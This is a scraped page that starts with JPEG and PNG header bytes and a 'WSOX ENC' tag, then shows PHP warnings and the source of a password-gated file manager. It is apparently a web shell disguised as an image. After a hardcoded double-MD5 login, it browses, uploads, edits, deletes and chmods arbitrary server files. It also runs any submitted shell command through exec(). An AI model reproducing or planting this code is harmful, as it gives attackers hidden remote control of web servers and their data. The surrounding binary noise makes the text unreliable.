1:45 PM 11/12/2025 ���� JFIF    �� �        "" $(4,$&1'-=-157:::#+?D?8C49:7 7%%77777777777777777777777777777777777777777777777777��  { �" ��     �� 5    !1AQa"q�2��BR��#b�������  ��  ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1�� �����릟�@�#���RY�dqp� ����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� � 3\�״ H SZ�g46�C��צ�ے �b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>; �e�4��5�k��/CB��.  �J?��;�҈�������������������~�<�VZ�ꭼ2/)Í”jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:Þ I��1"2�q×°8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r����� ÄŽ0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�? �0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb� ��n��F������ ��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m���)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��modskinlienminh.com - WSOX ENC ‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT h25jguaT5*!
Warning: Undefined variable $authorization in C:\xampp\htdocs\demo\fi.php on line 57

Warning: Undefined variable $translation in C:\xampp\htdocs\demo\fi.php on line 118

Warning: Trying to access array offset on value of type null in C:\xampp\htdocs\demo\fi.php on line 119

Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in C:\xampp\htdocs\demo\fi.php on line 120

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 247

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 248

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 249

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 250

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 251

Warning: Cannot modify header information - headers already sent by (output started at C:\xampp\htdocs\demo\fi.php:1) in C:\xampp\htdocs\demo\fi.php on line 252
users = array( 'ace' => 'b658107302696d179015f53746f08360' ); if (!$this->isLoggedIn() && !$this->isLoginPage()) { $this->showLoginPage(); exit; } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['login'])) { $username = 'ace'; $password = $_POST['password'] ?? ''; if ($this->login($username, $password)) { header('Location: ' . $_SERVER['PHP_SELF']); exit; } else { $this->showLoginPage('Pass error!'); exit; } } if (isset($_GET['action']) && $_GET['action'] === 'logout') { $this->logout(); } $this->base_path = '/'; $this->project_root = dirname($_SERVER['DOCUMENT_ROOT'] . $_SERVER['PHP_SELF']); $this->current_path = $this->project_root; $requested_path = isset($_GET['path']) ? $_GET['path'] : ''; if ($requested_path) { $requested_full_path = realpath($requested_path); if ($requested_full_path && is_dir($requested_full_path)) { $this->current_path = $requested_full_path; } } } private function isLoginPage() { return !$this->isLoggedIn() && ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['login'])); } public function isLoggedIn() { return isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true; } public function login($username, $password) { $encrypted_password = md5(md5($password)); if (isset($this->users[$username]) && $this->users[$username] === $encrypted_password) { $_SESSION['loggedin'] = true; $_SESSION['username'] = $username; $_SESSION['login_time'] = time(); return true; } return false; } public function logout() { session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit; } public function getUsername() { return isset($_SESSION['username']) ? $_SESSION['username'] : '未知用户'; } private function showLoginPage($error = '') { ?> ace
= 1024 && $i < 4; $i++) { $size /= 1024; } return round($size, 2) . ' ' . $units[$i]; } public function getDirectoryContents() { $contents = array(); if (!is_dir($this->current_path)) { return $contents; } $parent_path = dirname($this->current_path); if ($parent_path && $parent_path !== $this->current_path) { $contents[] = array( 'name' => '..', 'type' => 'directory', 'path' => $parent_path, 'size' => '', 'modified' => '', 'permissions' => '', 'numeric_permissions' => '' ); } try { $items = scandir($this->current_path); foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $full_path = $this->current_path . DIRECTORY_SEPARATOR . $item; $is_dir = is_dir($full_path); $size = ''; $modified = ''; $permissions = ''; $numeric_permissions = ''; if (file_exists($full_path)) { $size = $is_dir ? '' : $this->formatSize(filesize($full_path)); $modified = date('Y-m-d H:i:s', filemtime($full_path)); $permissions = $this->getPermissions($full_path); $numeric_permissions = $this->getNumericPermissions($full_path); } $contents[] = array( 'name' => $item, 'type' => $is_dir ? 'directory' : 'file', 'path' => $full_path, 'size' => $size, 'modified' => $modified, 'permissions' => $permissions, 'numeric_permissions' => $numeric_permissions ); } } catch (Exception $e) { } return $contents; } public function readFile($filepath) { if (!file_exists($filepath) || is_dir($filepath)) { throw new Exception("文件不存在或是目录"); } if (!is_readable($filepath)) { throw new Exception("没有读取权限"); } $file_size = filesize($filepath); if ($file_size > 10 * 1024 * 1024) { throw new Exception("文件过大,无法编辑"); } $content = file_get_contents($filepath); if ($content === false) { throw new Exception("无法读取文件"); } return $content; } public function writeFile($filepath, $content) { if (is_dir($filepath)) { throw new Exception("不能编辑目录"); } if (!is_writable($filepath)) { throw new Exception("没有写入权限"); } if (file_put_contents($filepath, $content) === false) { throw new Exception("无法写入文件"); } return true; } private function handleFileUpload() { if (!isset($_FILES['upload_files']) || empty($_FILES['upload_files']['name'][0])) { throw new Exception("请选择要上传的文件"); } $uploaded_files = $_FILES['upload_files']; $total_files = count($uploaded_files['name']); $success_count = 0; $error_messages = array(); if (!is_writable($this->current_path)) { throw new Exception("当前目录没有写入权限"); } for ($i = 0; $i < $total_files; $i++) { if ($uploaded_files['error'][$i] !== UPLOAD_ERR_OK) { $error_messages[] = "文件 '{$uploaded_files['name'][$i]}' 上传失败 (错误代码: {$uploaded_files['error'][$i]})"; continue; } $filename = basename($uploaded_files['name'][$i]); $target_path = $this->current_path . DIRECTORY_SEPARATOR . $filename; // 如果文件已存在,添加序号 $counter = 1; $original_name = pathinfo($filename, PATHINFO_FILENAME); $extension = pathinfo($filename, PATHINFO_EXTENSION); while (file_exists($target_path)) { $filename = $original_name . '_' . $counter . ($extension ? '.' . $extension : ''); $target_path = $this->current_path . DIRECTORY_SEPARATOR . $filename; $counter++; } if (move_uploaded_file($uploaded_files['tmp_name'][$i], $target_path)) { $success_count++; } else { $error_messages[] = "文件 '{$uploaded_files['name'][$i]}' 移动失败"; } } $message = "成功上传 {$success_count} 个文件"; if (!empty($error_messages)) { $message .= ",失败 " . count($error_messages) . " 个文件:" . implode(';', $error_messages); } return $message; } public function handleActions() { $message = ''; $message_type = 'success'; if (isset($_POST['action'])) { try { switch ($_POST['action']) { case 'upload_file': $message = $this->handleFileUpload(); break; case 'create_file': $filename = $_POST['filename']; if ($filename) { $full_path = $this->current_path . DIRECTORY_SEPARATOR . $filename; if (file_put_contents($full_path, '') !== false) { $message = "文件创建成功"; } else { throw new Exception("无法创建文件"); } } break; case 'create_directory': $dirname = $_POST['dirname']; if ($dirname) { $full_path = $this->current_path . DIRECTORY_SEPARATOR . $dirname; if (mkdir($full_path)) { $message = "目录创建成功"; } else { throw new Exception("无法创建目录"); } } break; case 'delete': $target = $_POST['target']; if ($target) { if (is_dir($target)) { if ($this->deleteDirectory($target)) { $message = "目录删除成功"; } else { throw new Exception("无法删除目录"); } } else { if (unlink($target)) { $message = "文件删除成功"; } else { throw new Exception("无法删除文件"); } } } break; case 'rename': $old_path = $_POST['old_path']; $new_name = $_POST['new_name']; if ($old_path && $new_name) { $new_path = dirname($old_path) . DIRECTORY_SEPARATOR . $new_name; if (rename($old_path, $new_path)) { $message = "重命名成功"; } else { throw new Exception("无法重命名"); } } break; case 'edit_file': $filepath = $_POST['filepath']; $content = $_POST['content']; if ($filepath) { if ($this->writeFile($filepath, $content)) { $message = "文件保存成功"; } else { throw new Exception("无法保存文件"); } } break; case 'change_permissions': $target = $_POST['target']; $permissions = $_POST['permissions']; if ($target && $permissions) { if (!preg_match('/^0?[0-7]{3}$/', $permissions)) { throw new Exception("权限格式错误"); } $permissions = octdec($permissions); if (chmod($target, $permissions)) { $message = "权限修改成功"; } else { throw new Exception("无法修改权限"); } } break; case 'execute_command': $command = $_POST['command']; if ($command) { $output = array(); $return_code = 0; exec("cd " . escapeshellarg($this->current_path) . " && " . $command . " 2>&1", $output, $return_code); $_SESSION['command_output'] = array( 'command' => $command, 'output' => $output, 'return_code' => $return_code ); } break; } } catch (Exception $e) { $message = $e->getMessage(); $message_type = 'error'; } } return array('message' => $message, 'type' => $message_type); } private function deleteDirectory($dir) { if (!is_dir($dir)) return false; $items = scandir($dir); foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $path = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($path)) { $this->deleteDirectory($path); } else { unlink($path); } } return rmdir($dir); } public function render() { if (!$this->isLoggedIn()) { $this->showLoginPage(); return; } $action_result = $this->handleActions(); $contents = $this->getDirectoryContents(); $command_output = isset($_SESSION['command_output']) ? $_SESSION['command_output'] : null; if ($command_output) { unset($_SESSION['command_output']); } $editing_file = isset($_GET['edit']) ? $_GET['edit'] : null; $file_content = ''; $file_info = array(); if ($editing_file) { try { $file_content = $this->readFile($editing_file); $file_info = array( 'name' => basename($editing_file), 'path' => $editing_file, 'size' => $this->formatSize(filesize($editing_file)), 'modified' => date('Y-m-d H:i:s', filemtime($editing_file)), 'permissions' => $this->getPermissions($editing_file), 'numeric_permissions' => $this->getNumericPermissions($editing_file) ); } catch (Exception $e) { $action_result = array( 'message' => $e->getMessage(), 'type' => 'error' ); $editing_file = null; } } ?> ace
服务器根目录:
当前项目根目录: project_root); ?>
当前路径: current_path); ?>
文件:
路径:
大小:
权限: ()
取消

批量上传文件 (支持拖放):

或拖放文件到此区域
未选择文件
current_path); $current_path = ''; echo '/'; foreach ($path_parts as $part) { if (!$part) continue; $current_path .= ($current_path ? DIRECTORY_SEPARATOR : '') . $part; echo ' / ' . htmlspecialchars($part) . ''; } ?>
名称 类型 大小 修改时间 权限 操作
📁 📄
()
编辑
render(); ?>